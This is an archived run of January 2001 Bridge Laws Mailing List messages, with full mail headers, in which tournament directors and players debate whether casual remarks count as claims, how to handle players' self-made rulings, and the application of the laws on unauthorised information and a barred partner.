>[DB] Equally unfortunately, bridge is defined by its laws. If a >statement is a claim in the Bermuda Bowl, then it is a claim in >Hogwash, Arizona also. The good people of Hogwash may >decide among themselves never to enforce the laws relating to >claims when a player makes such a statement, but this does not >alter the fact that "we are going to make twelve tricks" is a claim. >I find this entire debate quite mind-boggling. With which of these >words are people having difficulty? > "Any statement to the effect that a contestant will win > a specific number of tricks is a claim of those tricks." > >The question of whether one should enforce the law when a player >inadvertently makes a claim is an entirely separate question from that >of whether "we are going to make twelve tricks" actually is a claim. Not >for the first time, people are allowing themselves to be swayed by >considerations of how the game "should be played" when answering what >really is a trivial question about the words in the laws. The only >reason it has appeared here at all is that DWS gave the wrong answer to >it when it was posted on r.g.b recently, and cannot bring himself to >admit this. > >David Burn >London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 02:02:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JF1lE03284 for bridge-laws-outgoing; Sat, 20 Jan 2001 02:01:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from avocet.prod.itd.earthlink.net (avocet.prod.itd.earthlink.net [207.217.121.50]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JF1et03280 for ; Sat, 20 Jan 2001 02:01:41 +1100 (EST) Received: from utcpoqli (pool0020.cvx2-bradley.dialup.earthlink.net [209.178.134.20]) by avocet.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id HAA02341 for ; Fri, 19 Jan 2001 07:01:37 -0800 (PST) Message-ID: <006701c08228$f9587300$1486b2d1@utcpoqli> From: "Tom Wood" To: "BLML" Subject: Re: [BLML] Players making rulings by themselves Date: Fri, 19 Jan 2001 07:03:23 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv, I agree totally. Let me recount an LA-area club ruling incident (Swiss teams) from many years ago. Playing against two regular club "bullies," I had the mis- fortune, as defender, to accidentally drop a card from my hand. LHO instantly ruled "Penalty card!" and I, malice in mind, left the card faced on the table for about a trick or so. At this point, I decided to respond with my own "ruling" and restored the "penalty card" to my hand. "No you don't! DIRECTOR!" bellowed lefty. Fortunately, the Director was a very feisty and legendary character, Fran Tsacnaris (now deceased), whom I presume you knew. "Not on my watch!" bellowed Frannie back. "There couldn't possibly have been a penalty card. I'm sure I would have remembered being called." Tom Wood, CA, USA From: Marvin L. French To: Bridge Laws Date: Thursday, January 18, 2001 8:29 PM Subject: Re: [BLML] Players making rulings by themselves > >From: "Petr Jelinek" > >> Last night I came to a delayed table to ask them to hurry up. Players noted >> me and as I was leaving I heard from the table player saying: "I will forbid >> a spade lead." There had been a lead OOT. >> 1) Am I to start giving ruling? (Seems funny - the player would forbid a >> spade lead turning me into a clown.) I just cancelled any penalty.. > >Very good, and in accordance with L10B. > >> 2) Am I to apply PP? (they ignored TD even when TD was at the table a moment >> before) >> >If you think the cancellation was not sufficient to educate the offender(s), >and a lecture would not do the job either, a PP could be in order. Up to you, >but it is customary to wait for a second offense before assessing a PP. > >Marv >San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 02:14:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JFDqY03301 for bridge-laws-outgoing; Sat, 20 Jan 2001 02:13:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cobalt11-he.global.net.uk.noc.gxn.net (cobalt11-he.global.net.uk [195.147.246.171]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JFDjt03297 for ; Sat, 20 Jan 2001 02:13:46 +1100 (EST) Received: from p40s09a08.client.global.net.uk ([195.147.89.65] helo=pacific) by cobalt11-he.global.net.uk.noc.gxn.net with smtp (Exim 2.12 #1) id 14JEAx-0006rl-00 for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 12:28:24 +0000 Message-ID: <000901c0822a$5d5a2500$415993c3@pacific> From: "Grattan Endicott" To: "bridge-laws" Subject: Fw: [BLML] 1997 changes to laws, was Law 71: Concession cancelled Date: Fri, 19 Jan 2001 15:12:22 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott > Whether they may get an Asterix wrong I can > not say (was he a Vandal?) > +=+ Oh, Gauloise? A smoker then? And, by the way, do you know that anu is the goddess of fertility and wind? +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 02:37:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JFbSB03319 for bridge-laws-outgoing; Sat, 20 Jan 2001 02:37:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from freenet.carleton.ca (freenet1.carleton.ca [134.117.136.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JFbLt03315 for ; Sat, 20 Jan 2001 02:37:22 +1100 (EST) Received: from freenet10.carleton.ca (freenet10 [134.117.136.30]) by freenet.carleton.ca (8.9.3+Sun/8.9.3/NCF_f1_v3.00) with ESMTP id KAA19683 for ; Fri, 19 Jan 2001 10:37:11 -0500 (EST) Received: (ac342@localhost) by freenet10.carleton.ca (8.9.3+Sun/NCF-Sun-Client) id KAA21799; Fri, 19 Jan 2001 10:37:11 -0500 (EST) Date: Fri, 19 Jan 2001 10:37:11 -0500 (EST) Message-Id: <200101191537.KAA21799@freenet10.carleton.ca> From: ac342@freenet.carleton.ca (A. L. Edwards) To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Reply-To: ac342@freenet.carleton.ca Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Equally unfortunately, bridge is defined by its laws. If a statement is >a claim in the Bermuda Bowl, then it is a claim in Hogwash, Arizona >also. The good people of Hogwash may decide among themselves never to >enforce the laws relating to claims when a player makes such a >statement, but this does not alter the fact that "we are going to make >twelve tricks" is a claim. I find this entire debate quite >mind-boggling. With which of these words are people having difficulty? > >"Any statement to the effect that a contestant will win a specific >number of tricks is a claim of those tricks." > >The question of whether one should enforce the law when a player >inadvertently makes a claim is an entirely separate question from that >of whether "we are going to make twelve tricks" actually is a claim. Not >for the first time, people are allowing themselves to be swayed by >considerations of how the game "should be played" when answering what >really is a trivial question about the words in the laws. The only >reason it has appeared here at all is that DWS gave the wrong answer to >it when it was posted on r.g.b recently, and cannot bring himself to >admit this. > >David Burn >London, England > And I don't think DWS made a mistake. I find it difficult to believe that the writers of the Laws did not mean to deliberately differentiate between the two words "statement" and "remark". (from Funk & Wagnalls--sorry, lent my sister my Oxford) remark: 1)an oral or written comment or saying; a casual observation 2) the act of observing or noticing;observation; notice statement: 1) the act of stating 2) that which is stated to state: 1) to set forth explicitely in speech or writing; assert; declare 2) to fix; determine; settle (please note "casual" vs "explicite") Telling your partner that you've missed a slam is a remark, not a statement, as per the proprieties; telling your opponents/director that you have 12 tricks is a statement. Another way to look at it is, a remark does not create a contract between two or more parties, while a statement does create such a contract. Tony (aka ac342) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 03:13:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JGDND03382 for bridge-laws-outgoing; Sat, 20 Jan 2001 03:13:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JGDGt03377 for ; Sat, 20 Jan 2001 03:13:17 +1100 (EST) Received: from village.uunet.be (uu212-190-6-5.unknown.uunet.be [212.190.6.5]) by bru5-smtp-out1.uunet.be (8.9.3/8.9.1) with ESMTP id RAA25989 for ; Fri, 19 Jan 2001 17:13:07 +0100 (MET) Message-ID: <3A670674.673519AE@village.uunet.be> Date: Thu, 18 Jan 2001 16:06:28 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: [BLML] penalties AND UI - too much ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Partner leads out of turn, the ace of diamonds. Declarer allows you to play what you want. >From AKJx of hearts, you lead the ace, to see the table. The queen of hearts is not there. Again declarer allows you to play what you want. If you now play diamonds, your partner is in to bring you the hearts. But, says declarer later, the Ace is UI, and you could also have switched clubs as a LA, so please give me my contract back. Comments ? -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 03:13:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JGDV003387 for bridge-laws-outgoing; Sat, 20 Jan 2001 03:13:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bru5-smtp-out1.uunet.be (bru5-smtp-out1.uunet.be [194.7.1.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JGDNt03383 for ; Sat, 20 Jan 2001 03:13:24 +1100 (EST) Received: from village.uunet.be (uu212-190-6-5.unknown.uunet.be [212.190.6.5]) by bru5-smtp-out1.uunet.be (8.9.3/8.9.1) with ESMTP id RAA26013 for ; Fri, 19 Jan 2001 17:13:20 +0100 (MET) Message-ID: <3A670C20.440309B6@village.uunet.be> Date: Thu, 18 Jan 2001 16:30:40 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... References: <003f01c0814b$231e6a20$0dc188d1@kay> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Nelson/Kay Ford wrote: > > It is also correct to use "one" for first-personal singular if > you are a robot. For proof, I offer the movie: "Bicentennial > Man". > > One is pleased to be of service. > Not yet having seen the movie (not much of a cinema goer), but a well-known fan of Asimov's, of course I had to go and look. Even in the very first chapter (well, nr 3 actually) NDR (this is even before he gets the nickname Andrew) says "I am sorry", and "I enjoy". So the use of One must be from Robin Williams, certainly not Isaac Asimov. -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 03:40:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JGdnI03426 for bridge-laws-outgoing; Sat, 20 Jan 2001 03:39:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JGdht03422 for ; Sat, 20 Jan 2001 03:39:43 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id RAA20177; Fri, 19 Jan 2001 17:36:58 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id RAA20773; Fri, 19 Jan 2001 17:39:23 +0100 (MET) for Message-Id: <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 19 Jan 2001 17:51:43 +0100 To: Eric Landau , Bridge Laws Discussion List From: alain gottcheiner Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> References: <01C080C7.541B5AE0@MIKE> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:51 19/01/01 -0500, Eric Landau wrote: >> Let me try again: North should not take any action by which he is likely to achieve a more successful outcome with partner barred than what would have been the expected outcome with his partner free to bid. AG : this seems to me a very good phrasing, which gives the ACs the guidelines on which to base their decisions. I suggest we keep it written somewhere. Even expectancy (in the mathematical sense of the term) can be introduced here, which means that if the punting action sometimes succeeds, these successes may not be denied as long as they are unlikely. >That's a semantic side-issue. The law's recently added spate of "might >have"s and "could have"s have created a lot of positions where the >player's motives are presumed to be pure, infractions are not subject >to PPs/DPs, but his actions can result in a favorable result being >taken away. AG : they are presumed to be pure because the presumption of innocence does apply in such cases ; how can you ever be *sure* that there was any malign intention ? But you still say that somebody with malign intention could well have done the same. The Scots would write 'not proven', I suppose. It is essential to say to the OS that it is not their favorable result that is taken away, but only the increase directly caused by partner's 'barredness'. Which shows Eric's formula is indeed a good one. > >>The test posed by L23 is not principally of the bid made by offender, but >>of the possibility that the offense itself was deliberate, in the context >>of his subsequent action and the final result. AG : yes, only 'the possibility'. And it sums up the case about psyches very well : a psyche is much less likely to have adverse effects facing a barred partner, its gain expectancy is higher, thus it is clearly disallowed by the spirit of L23. And the same is true of an out-of-turn psychic bid. >This is the debatable point, and I expect it will be debated, between >the "intent matters" camp and the "we don't read minds" camp. AG : OK, put me in the non-ESP camp. I'd like to add an argument : the wording of some laws has been shifted from 'knew' to 'could have known' ; from this I infer that the lawmakers intended the consequences of the new wording (ie, it was not just a clumsy phrasing which nobody thought of changing). The lawmakers seem to have clearly positioned themselves in the non-ESP camp. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 03:49:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JGnhv03443 for bridge-laws-outgoing; Sat, 20 Jan 2001 03:49:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JGnbt03439 for ; Sat, 20 Jan 2001 03:49:37 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id RAA20588; Fri, 19 Jan 2001 17:45:28 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id RAA25221; Fri, 19 Jan 2001 17:49:24 +0100 (MET) for Message-Id: <3.0.6.32.20010119180145.00833100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 19 Jan 2001 18:01:45 +0100 To: ac342@freenet.carleton.ca, bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Claim? In-Reply-To: <200101191537.KAA21799@freenet10.carleton.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0JGnet03440 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This thread didn't attract my attention very much, until ... >>"Any statement to the effect that a contestant will win a specific >>number of tricks is a claim of those tricks." AG : is this really the phrasing ? In this case, it is wrong. The opponents are contestants, aren't they ? In this case, according to the words above, a concession of all remaining tricks is a claim, which we know it isn't. I much prefer, in this case, the Franch text : 'Toute formulation par un joueur indiquant qu'il gagnera un certain nombre de levées', translate as 'Any wording by any player, to the effect that *he* will make a certain number of tricks'. Much more on target, isn't it ? >Telling your partner that you've missed a slam is a remark, not >a statement, as per the proprieties; telling your opponents/director >that you have 12 tricks is a statement. AG : what about 'I'm going to enter priesthood if this fails' (incidentally, last time I heard the phrase, the contract failed) ? A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 04:27:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JHQwi03484 for bridge-laws-outgoing; Sat, 20 Jan 2001 04:26:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JHQqt03480 for ; Sat, 20 Jan 2001 04:26:52 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id LAA10711 for ; Fri, 19 Jan 2001 11:27:57 -0600 (CST) Message-Id: <3.0.6.32.20010119112619.007e4210@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Fri, 19 Jan 2001 11:26:19 -0600 To: "blml" From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:14 AM 1/19/2001 -0600, Roger Pewick wrote: >I do see an interesting aspect of such cases. One would not expect a player >who did not have in his mind to claim just yet to give a claim statement on >his own initiiative. At what point should he not be permitted to supply >one? L68C and L70D combine to suggest that by the time the director arrives >it is too late to supply one but it feels right to allow it. > >roger pewick If you have decided to apply the literal letter of the law [as interpreted by those who make no distinction between 'remarks' and 'statements' :)] and rule that something that was clearly not a claim really was a claim, then it is too late to worry about whether it "feels right" to allow a clarification statement. By no means should we allow the villain to avoid the stiffest possible penalty for his failure to accompany his claim statement(tm) "at once" with a statement of clarification. This is only what the Law requires. If you allow a clarification statement to stand that did not come "at once", then you have ceased to play Bridge. Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 04:34:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JHYCL03499 for bridge-laws-outgoing; Sat, 20 Jan 2001 04:34:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JHY6t03495 for ; Sat, 20 Jan 2001 04:34:07 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14JfQE-000O05-0A for bridge-laws@rgb.anu.edu.au; Fri, 19 Jan 2001 17:33:59 +0000 Message-ID: Date: Fri, 19 Jan 2001 17:32:32 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <3.0.6.32.20010118145838.007e8cf0@ux1.cts.eiu.edu> <001501c08196$51dbf120$e311f7a5@james> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , David Stevenson writes >Craig Senior writes >>Actually you have breached the proprieties under 74B2 (and >>possibly 74A3 and 74B4) as well as, clearly, 74C3 and 74C4. And >>yes, you hve made a claim; the Law is clear. >> >>While it would be absurd to apply it in a friendly kitchen table >>game, where such kidding around is fine and part of the fun, we >>are talking about a tournament here. You and your >>opponent/friends are not the only people in the room. If a club >>wants to have a "fun night" where rules are loosened that's >>fine. But it won't fully be duplicate contract bridge. In a >>serious game, it is absurd to kid around. If that leads to you >>losing a ruling or some points, it is your own fault. > > Oh dear. That's me dealt with! > > Look, bridge is fun, and I can assure you I kid around in bridge at >suitable times with anyone. Not just at the lower levels. So long as I >avoid breach of L74A1 and L74A2 then I do not worry too much. > > I entirely agree with DWS. In fact I kid around far too much. Occasionally I breach 74A1/2 as a result. If that results in a PP then so be it. I play bridge for fun, (the TD'ing is entirely another animal) and I try to stay within the Laws. I encourage everyone to do the same. -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 04:46:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JHjnr03516 for bridge-laws-outgoing; Sat, 20 Jan 2001 04:45:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JHjct03512 for ; Sat, 20 Jan 2001 04:45:38 +1100 (EST) Received: from james (user-2ive4rr.dialup.mindspring.com [165.247.19.123]) by barry.mail.mindspring.net (8.9.3/8.8.5) with SMTP id MAA12913; Fri, 19 Jan 2001 12:44:59 -0500 (EST) Message-ID: <006c01c0823d$b7443390$7b13f7a5@james> From: "Craig Senior" To: "David Stevenson" , References: <200101181545.KAA23986@freenet10.carleton.ca> <3.0.6.32.20010118120327.007c4280@ux1.cts.eiu.edu> <3.0.6.32.20010118145838.007e8cf0@ux1.cts.eiu.edu> <001501c08196$51dbf120$e311f7a5@james> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 12:31:51 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The key words in your reply are "at suitable times". There is nothing wrong with bridge being fun...so long as our fun is not others' discomfiture. I think talking aloud about how many tricks a hand yet to be played may win is about as "fun"ny as putting out the 7nt card, then recanting as "just kidding." If your opponents choose not to accept it as "fun" they have the right to make you prove your claim. They are NOT being obnoxious BLs. They are just funning with you! :-)) Craig ----- Original Message ----- From: "David Stevenson" To: Sent: Thursday, January 18, 2001 7:54 PM Subject: Re: [BLML] Claim? > Craig Senior writes > >Actually you have breached the proprieties under 74B2 (and > >possibly 74A3 and 74B4) as well as, clearly, 74C3 and 74C4. And > >yes, you hve made a claim; the Law is clear. > > > >While it would be absurd to apply it in a friendly kitchen table > >game, where such kidding around is fine and part of the fun, we > >are talking about a tournament here. You and your > >opponent/friends are not the only people in the room. If a club > >wants to have a "fun night" where rules are loosened that's > >fine. But it won't fully be duplicate contract bridge. In a > >serious game, it is absurd to kid around. If that leads to you > >losing a ruling or some points, it is your own fault. > > Oh dear. That's me dealt with! > > Look, bridge is fun, and I can assure you I kid around in bridge at > suitable times with anyone. Not just at the lower levels. So long as I > avoid breach of L74A1 and L74A2 then I do not worry too much. > > > -- > David Stevenson Liverpool, England, UK > > For help in rulings see the International Bridge Laws Forum > at http://blakjak.com/iblf.htm > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 04:47:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JHl5o03528 for bridge-laws-outgoing; Sat, 20 Jan 2001 04:47:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JHkxt03524 for ; Sat, 20 Jan 2001 04:47:00 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA07397; Fri, 19 Jan 2001 09:05:02 -0800 Message-Id: <200101191705.JAA07397@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-Reply-To: Your message of "Fri, 19 Jan 2001 18:01:45 +0100." <3.0.6.32.20010119180145.00833100@pop.ulb.ac.be> Date: Fri, 19 Jan 2001 09:05:02 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alain Gottcheiner wrote: > This thread didn't attract my attention very much, until ... > > >>"Any statement to the effect that a contestant will win a specific > >>number of tricks is a claim of those tricks." > > AG : is this really the phrasing ? In this case, it is wrong. The opponents > are contestants, aren't they ? In this case, according to the words above, > a concession of all remaining tricks is a claim, which we know it > isn't. . . . Wow! I don't know how many times I've claimed all but one of the remaining tricks by telling the opponents, "You're going to get one more trick." So according to a literal reading of the Law, this is a claim of one trick! Well, if nothing else, this should give at least a little pause to those who assume we can completely trust the literal wording of the Laws. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 20 04:55:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0JHspB03541 for bridge-laws-outgoing; Sat, 20 Jan 2001 04:54:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0JHsht03537 for ; Sat, 20 Jan 2001 04:54:44 +1100 (EST) Received: from james (user-2ive4rr.dialup.mindspring.com [165.247.19.123]) by barry.mail.mindspring.net (8.9.3/8.8.5) with SMTP id MAA30716; Fri, 19 Jan 2001 12:54:28 -0500 (EST) Message-ID: <008601c0823f$0a165480$7b13f7a5@james> From: "Craig Senior" To: "Tom Wood" , "BLML" References: <004201c08224$168dd000$1486b2d1@utcpoqli> Subject: Re: [BLML] Claim? Date: Fri, 19 Jan 2001 12:41:21 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 